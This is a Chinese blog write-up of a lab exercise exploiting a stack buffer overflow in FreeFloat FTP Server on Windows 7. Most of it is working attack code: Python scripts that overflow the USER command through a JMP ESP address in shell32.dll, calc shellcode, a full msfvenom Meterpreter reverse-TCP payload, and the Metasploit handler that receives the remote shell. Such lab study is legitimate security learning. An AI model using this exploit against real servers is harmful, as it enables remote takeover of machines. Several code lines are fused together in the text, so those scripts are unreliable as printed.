目录

  • 说明
  • Immunity Debugger+Mona 找到JMP ESP指令
  • 漏洞渗透程序
    • 在Immunity Debugger查看发送的字符
    • 编写执行的程序
    • 确定坏字符
    • Metasploit生成shellcode
  • 写在最后

说明

上一篇文末提到Win7下没有成功执行出计算器,原因是Win7和WinXP调用计算器的指令不一样啊!!!!
接下来详细解释。

Immunity Debugger+Mona 找到JMP ESP指令

//在shell32.dll模块中查找 jmp esp指令
!mona jmp -r esp -m "shell32.dll"

基于Immunity Debugger的Log窗口,或者到Immunity Debugger安装目录下,如C:\Program Files\Immunity Inc\Immunity Debugger,找到jmp.txt 可以看出有以下信息。选择第一条指令组委跳转指令,地址为0x755c6c28

漏洞渗透程序

特别需要注意的是,同样一个地址在网络传输和CPU存储是表示方法不同,有大小端的概念。使用Python发送时为大端格式,而当前0x755c6c28 为小端格式,需要调整。

import socket
s = socket.socket()
connect = s.connect(('192.168.229.135',21))
shellcode = b"\x41"*230 + b"\x28\x6c\x5c\x75"
data = b"USER " + shellcode + b"\r\n"
s.send(data)

在Immunity Debugger查看发送的字符

同上一篇,不再赘述。

编写执行的程序

下面是一段可以在目标计算器启动一个计算器的程序 注意和winXP的内容不一样!也是上一篇没有成功的重要原因!

shellcode=b"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a\x1c\x39\xbd"

同样的,经过验证,如果没有NOP指令,依旧报错。ESP寄存器的实际地址(发生了偏移,会使得shellcode的部分代码没有完全载入ESP寄存器机中,因为缺失,执行时会异常)
通过NOP指令,可以将shellcode偏移到ESP寄存器地址,这边确认了边界值为13。

import socket
#step 1, check offset
#shellcode = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq"
#SEH not protected in FTP, offset is only 230
#step 2, create JMP ESP  address: 755c6c28
#!mona jmp -r esp -m "shell32.dll"
#0x755c6c28 (b+0x00006c28)  : jmp esp | asciiprint,ascii {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: True, Rebase: True, SafeSEH: True, OS: True, v6.1.7601.17514 (C:\Windows\system32\SHELL32.dll)
#0x755e59af (b+0x000259af)  : jmp esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: True, Rebase: True, SafeSEH: True, OS: True, v6.1.7601.17514 (C:\Windows\system32\SHELL32.dll)#step2.1 buff = b"\x41"*230+ b"\x28\x6c\x5c\x75"  error, need NOP
#NOP amount 13
buff = b"\x41"*230+ b"\x28\x6c\x5c\x75" + b"\x90"*13  #  NOP >= 13 will be OK
shellcode=b"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a\x1c\x39\xbd"
buff += shellcodedata = b"USER " + buff+ b"\r\n"
print(data)
s = socket.socket()
connect = s.connect(('192.168.229.135',21))
s.send(data)
s.close()

确定坏字符

同上一篇不再赘述

Metasploit生成shellcode

刚才计算器的打开只是一个示例,接下来生成真正的攻击代码。
回到Kali Linux,去掉刚才识别到的坏字符,LHOST=192.168.229.133 LPORT=5001为Kali所在主机地址和端口。
注意书中第246页命令行有误。

┌──(kali㉿kali)-[~/Learning]
└─$ msfvenom --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.229.133 LPORT=5001 -b '\x00\x0a\x40' -f python

生成的内容如下

buf =  b""
buf += b"\xda\xc7\xd9\x74\x24\xf4\x5f\xbd\x03\xf3\x2d\xa2\x2b"
buf += b"\xc9\xb1\x59\x83\xef\xfc\x31\x6f\x15\x03\x6f\x15\xe1"
buf += b"\x06\xd1\x4a\x6a\xe8\x2a\x8b\x14\x60\xcf\xba\x06\x16"
buf += b"\x9b\xef\x96\x5c\xc9\x03\x5d\x30\xfa\x14\xd6\xff\x24"
buf += b"\x1a\xe7\x8b\x5b\x74\x26\x4c\x37\xb8\x29\x30\x4a\xed"
buf += b"\x89\x09\x85\xe0\xc8\x4e\x53\x8e\x25\x02\xef\x22\xa9"
buf += b"\xf4\x64\x80\xf5\xfb\xaa\x8e\x45\x84\xcf\x51\x31\x38"
buf += b"\xd1\x81\xe9\x4b\x89\x01\x82\x04\x32\x43\x47\x11\x8b"
buf += b"\x37\x5b\x2b\xf3\xf1\x28\x7f\x80\x03\xf8\xb1\x56\xaf"
buf += b"\xc5\x7d\x5b\xb1\x02\xb9\x84\xc4\x78\xb9\x39\xdf\xbb"
buf += b"\xc3\xe5\x6a\x5b\x63\x6d\xcc\xbf\x95\xa2\x8b\x34\x99"
buf += b"\x0f\xdf\x12\xbe\x8e\x0c\x29\xba\x1b\xb3\xfd\x4a\x5f"
buf += b"\x90\xd9\x17\x3b\xb9\x78\xf2\xea\xc6\x9a\x5a\x52\x63"
buf += b"\xd1\x49\x85\x13\x1a\x92\xaa\x49\x8c\x5e\x67\x72\x4c"
buf += b"\xc9\xf0\x01\x7e\x56\xab\x8d\x32\x1f\x75\x49\x43\x37"
buf += b"\x86\x85\xeb\x58\x78\x26\x0b\x70\xbf\x72\x5b\xea\x16"
buf += b"\xfb\x30\xea\x97\x2e\xac\xe0\x0f\x11\x98\x10\x4a\xf9"
buf += b"\xda\xda\x46\x73\x53\x3c\x38\xd3\x33\x91\xf9\x83\xf3"
buf += b"\x41\x92\xc9\xfc\xbe\x82\xf1\xd7\xd6\x29\x1e\x81\x8f"
buf += b"\xc5\x87\x88\x44\x77\x47\x07\x21\xb7\xc3\xad\xd5\x76"
buf += b"\x24\xc4\xc5\x6f\x53\x26\x16\x70\xf6\x26\x7c\x74\x50"
buf += b"\x71\xe8\x76\x85\xb5\xb7\x89\xe0\xc6\xb0\x76\x75\xfe"
buf += b"\xcb\x41\xe3\xbe\xa3\xad\xe3\x3e\x34\xf8\x69\x3e\x5c"
buf += b"\x5c\xca\x6d\x79\xa3\xc7\x02\xd2\x36\xe8\x72\x86\x91"
buf += b"\x80\x78\xf1\xd6\x0e\x83\xd4\x64\x48\x7b\xaa\x42\xf1"
buf += b"\x13\x54\xd3\x01\xe3\x3e\xd3\x51\x8b\xb5\xfc\x5e\x7b"
buf += b"\x35\xd7\x36\x13\xbc\xb6\xf5\x82\xc1\x92\x58\x1a\xc1"
buf += b"\x11\x41\xad\xb8\x5a\x76\x4e\x3d\x73\x13\x4f\x3d\x7b"
buf += b"\x25\x6c\xeb\x42\x53\xb3\x2f\xf1\x6c\x86\x12\x50\xe7"
buf += b"\xe8\x01\xa2\x22"

把以上内容放置脚本中

import socket
buff = b"\x41"*230+ b"\x28\x6c\x5c\x75" + b"\x90"*20#Payload size: 381 bytes
#Final size of python file: 1865 bytes
buf =  b""
buf += b"\xda\xc7\xd9\x74\x24\xf4\x5f\xbd\x03\xf3\x2d\xa2\x2b"
buf += b"\xc9\xb1\x59\x83\xef\xfc\x31\x6f\x15\x03\x6f\x15\xe1"
buf += b"\x06\xd1\x4a\x6a\xe8\x2a\x8b\x14\x60\xcf\xba\x06\x16"
buf += b"\x9b\xef\x96\x5c\xc9\x03\x5d\x30\xfa\x14\xd6\xff\x24"
buf += b"\x1a\xe7\x8b\x5b\x74\x26\x4c\x37\xb8\x29\x30\x4a\xed"
buf += b"\x89\x09\x85\xe0\xc8\x4e\x53\x8e\x25\x02\xef\x22\xa9"
buf += b"\xf4\x64\x80\xf5\xfb\xaa\x8e\x45\x84\xcf\x51\x31\x38"
buf += b"\xd1\x81\xe9\x4b\x89\x01\x82\x04\x32\x43\x47\x11\x8b"
buf += b"\x37\x5b\x2b\xf3\xf1\x28\x7f\x80\x03\xf8\xb1\x56\xaf"
buf += b"\xc5\x7d\x5b\xb1\x02\xb9\x84\xc4\x78\xb9\x39\xdf\xbb"
buf += b"\xc3\xe5\x6a\x5b\x63\x6d\xcc\xbf\x95\xa2\x8b\x34\x99"
buf += b"\x0f\xdf\x12\xbe\x8e\x0c\x29\xba\x1b\xb3\xfd\x4a\x5f"
buf += b"\x90\xd9\x17\x3b\xb9\x78\xf2\xea\xc6\x9a\x5a\x52\x63"
buf += b"\xd1\x49\x85\x13\x1a\x92\xaa\x49\x8c\x5e\x67\x72\x4c"
buf += b"\xc9\xf0\x01\x7e\x56\xab\x8d\x32\x1f\x75\x49\x43\x37"
buf += b"\x86\x85\xeb\x58\x78\x26\x0b\x70\xbf\x72\x5b\xea\x16"
buf += b"\xfb\x30\xea\x97\x2e\xac\xe0\x0f\x11\x98\x10\x4a\xf9"
buf += b"\xda\xda\x46\x73\x53\x3c\x38\xd3\x33\x91\xf9\x83\xf3"
buf += b"\x41\x92\xc9\xfc\xbe\x82\xf1\xd7\xd6\x29\x1e\x81\x8f"
buf += b"\xc5\x87\x88\x44\x77\x47\x07\x21\xb7\xc3\xad\xd5\x76"
buf += b"\x24\xc4\xc5\x6f\x53\x26\x16\x70\xf6\x26\x7c\x74\x50"
buf += b"\x71\xe8\x76\x85\xb5\xb7\x89\xe0\xc6\xb0\x76\x75\xfe"
buf += b"\xcb\x41\xe3\xbe\xa3\xad\xe3\x3e\x34\xf8\x69\x3e\x5c"
buf += b"\x5c\xca\x6d\x79\xa3\xc7\x02\xd2\x36\xe8\x72\x86\x91"
buf += b"\x80\x78\xf1\xd6\x0e\x83\xd4\x64\x48\x7b\xaa\x42\xf1"
buf += b"\x13\x54\xd3\x01\xe3\x3e\xd3\x51\x8b\xb5\xfc\x5e\x7b"
buf += b"\x35\xd7\x36\x13\xbc\xb6\xf5\x82\xc1\x92\x58\x1a\xc1"
buf += b"\x11\x41\xad\xb8\x5a\x76\x4e\x3d\x73\x13\x4f\x3d\x7b"
buf += b"\x25\x6c\xeb\x42\x53\xb3\x2f\xf1\x6c\x86\x12\x50\xe7"
buf += b"\xe8\x01\xa2\x22"buff += buf
data = b"USER " + buff + b"\r\n"
print(data)
s = socket.socket()
connect = s.connect(('192.168.229.135',21))
s.send(data)
s.close()

打开Metasploit,启动一个主控端,这里的

[*] Starting persistent handler(s)...
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.229.133
LHOST => 192.168.229.133
msf6 exploit(multi/handler) > set LPORT 5001
LPORT => 5001
msf6 exploit(multi/handler) > run

成功!

接下来可以继续参考验证随着系统启动而启动,控制不会中断章节处理。这边可以为了方便,把监听端口从4444改为5001

写在最后

一开始忘记截图了,所以想直接跑一遍程序抓个图,发现又崩溃了。
打开Immunity Debugger+Mona 找到JMP ESP指令,发现指令地址有变化,所以需要修改对应脚本。这也就解释了上一篇中抓取的win7地址也是不一样的原因。

#!mona jmp -r esp -m "shell32.dll"
#0x755c6c28 (b+0x00006c28)  : jmp esp | asciiprint,ascii {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: True, Rebase: True, SafeSEH: True, OS: True, v6.1.7601.17514 (C:\Windows\system32\SHELL32.dll)
#0x755e59af (b+0x000259af)  : jmp esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: True, Rebase: True, SafeSEH: True, OS: True, v6.1.7601.17514 (C:\Windows\system32\SHELL32.dll)
#after reboot:
#0x756f6c28 (b+0x00006c28)  : jmp esp | asciiprint,ascii {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: True, Rebase: True, SafeSEH: True, OS: True, v6.1.7601.17514 (C:\Windows\system32\SHELL32.dll)
#0x757159af (b+0x000259af)  : jmp esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: True, Rebase: True, SafeSEH: True, OS: True, v6.1.7601.17514 (C:\Windows\system32\SHELL32.dll)
import socket#step 1, check offset
#shellcode = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq"
#SEH not protected in FTP, offset is only 230#step 2, create JMP ESP  address: 755c6c28 after reboot: 0x756f6c28
#!mona jmp -r esp -m "shell32.dll"
#0x755c6c28 (b+0x00006c28)  : jmp esp | asciiprint,ascii {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: True, Rebase: True, SafeSEH: True, OS: True, v6.1.7601.17514 (C:\Windows\system32\SHELL32.dll)
#0x755e59af (b+0x000259af)  : jmp esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: True, Rebase: True, SafeSEH: True, OS: True, v6.1.7601.17514 (C:\Windows\system32\SHELL32.dll)
#after reboot:
#0x756f6c28 (b+0x00006c28)  : jmp esp | asciiprint,ascii {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: True, Rebase: True, SafeSEH: True, OS: True, v6.1.7601.17514 (C:\Windows\system32\SHELL32.dll)
#0x757159af (b+0x000259af)  : jmp esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: True, Rebase: True, SafeSEH: True, OS: True, v6.1.7601.17514 (C:\Windows\system32\SHELL32.dll)#step2.1 buff = b"\x41"*230+ b"\xaf\x59\x5e\x75"  error, need NOP#NOP amount 13
buff = b"\x41"*230+ b"\x28\x6c\x6f\x75" + b"\x90"*20 #  NOP >= 13 will be OKshellcode=b"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a\x1c\x39\xbd"
buff += shellcodedata = b"USER " + buff+ b"\r\n"
print(data)
s = socket.socket()
connect = s.connect(('192.168.229.135',21))
s.send(data)
s.close()


其实也查看了FTP程序是否有SEH保护,结果是没有的,所以直接按照原来的思路进行一遍,只是对应调用计算器的指令不同。

所以下一篇会研究SEH模块,利用的漏洞程序是Easy File Sharing Web Server。

Kali Linux 基于FreeFloat FTP Server编写漏洞渗透模块(下)相关推荐

  1. Kali Linux 从入门到精通(十)-漏洞挖掘之缓冲区溢出

    Kali Linux 从入门到精通(十)-漏洞挖掘之缓冲区溢出 程序漏洞从哪里来? 罪恶的根源:变量 数据与代码边界不清(注入攻击) 最简漏洞原理-shell 脚本漏洞(本质:输入数据本身,程序本身没 ...

  2. android设备安装kali,在Android设备上安装Kali Linux基于Android设备的Kali Linux渗透测试教程大学霸...

    在Android设备上安装Kali Linux基于Android设备的Kali Linux渗透测试教程大学霸 基于Android设备的Kali Linux渗透测试教程2 Android是一种基于Lin ...

  3. cwd命令linux,PCMan's FTP Server 'CWD'命令缓冲区溢出漏洞

    发布日期:2014-01-29 更新日期:2014-02-19 受影响系统: sourceforge PCMan's FTP Server 2.07 描述: --------------------- ...

  4. 十年来第一个正式版本 | Kali Linux 2020 发布后我们该怎么渗透?

    2020年Kali Linux推出了十年来的第一个正式版本--Kali Linux 2020.1 关于这个版本新特性的简短总结: 默认用户为非root用户 独立的Kali安装镜像 无需root的Kal ...

  5. 利用Kali linux中的Dirbuster对网站进行渗透描目录

    请自觉遵守网络安全法 1.进入kali linux,的Dirbuster 在URL中输入进行扫描的网站 工作方式选择自动切换 可以将Number of Threads的数值进行调节,在硬件允许的条件下 ...

  6. 基于XP系统IE极光漏洞渗透

    极光漏洞(Aurora)是一个针对IE浏览器的重大漏洞,攻击者向目标发送链接,当IE用户使用IE浏览器点击链接时,就会向攻击者反弹一个可利用的shell,同时会严重占用目标机器的CPU,导致机器卡死. ...

  7. kali linux渗透攻击基于漏洞工具Metasploit

    章节目录 本章节是基于漏洞工具Metasploit做的 什么是Metasploit Meterpreter功能 渗透环境 7.1 Metasploit的基础 1.Metasploit启动的三种方法: ...

  8. mac使用被动ftp模式(pasv)_网络安全工程师与白帽子黑客教你:Kali Linux之使用Metasploit进行FTP服务扫描实战...

    本分享仅做学习交流,请自觉遵守法律法规! 搜索:Kali与编程,学习更多网络攻防干货! 下篇文章将在明天下午五点发布,敬请关注! 一.背景介绍 FTP是用来在两台计算机之间传输文件,是Inter ...

  9. 基于Android设备的Kali Linux渗透测试教程第1章渗透测试

    基于Android设备的Kali Linux渗透测试教程第1章渗透测试 渗透测试(Penetration Testing)是一种通过模拟攻击者所采用的技术与方法,攻击目标系统的安全控制措施,并取得访问 ...

最新文章

  1. Java中常见的锁简述
  2. Vue 打包后打开为空白页面 并且控制台报错‘Failed to load resource: net::ERR_FILE_NOT_FOUND’
  3. 2017模拟赛:还款计算
  4. preprocessor预处理器
  5. 信息系统分析与设计课程心得
  6. excel锁定单元格不能修改_Excel如何锁定部分区域不被编辑,1分钟就学会
  7. 这是最好的时光,这是最坏的时光 SNAPSHOT
  8. 微分方程建模实例:对药剂量开处方
  9. java任意键继续_java 按任意键继续怎么写
  10. phal接口查询显示中多余方法处理
  11. ausu f8系列笔记本 各种问题搜集,供购笔记本者参考
  12. 信数金服决策引擎分享(一):来聊聊冠军/挑战者试验,一个数字游戏
  13. 【miscellaneous】软件加密方法
  14. 供应链数字化转型,从主数据管理开始
  15. c语言属于物联网专业课吗,物联网专业课程都有哪些?
  16. (cons '(〇 . 前言) 《为自己写本-Guile-书》)
  17. java web树状导航菜单_导航条——树状导航菜单
  18. 使用python的turtle库一笔画出联通logo
  19. 计算机一级的window试题,一级WINDOWS笔试模拟试题及答案(一)
  20. 鲲云科技宣布完成数千万A+轮融资

热门文章

  1. SQL查询表中某列字段相同的重复数据
  2. clips与C++的交互
  3. html给字添加音频,如何给视频加字幕并与语音同步?方法用得好就是这么简单!...
  4. 《智能语音时代》的读书笔记
  5. Less系列之函数(Functions)
  6. win10隐藏recovery盘
  7. 苹果手机代理charles(此链接非私人连接)
  8. 强化学习(十八) 基于模拟的搜索与蒙特卡罗树搜索(MCTS)
  9. 如何使用RUN as命令安装软件
  10. html5 jquery paint plugin,5+最好的画板,并在画布上手动绘制JavaScript和jQuery插件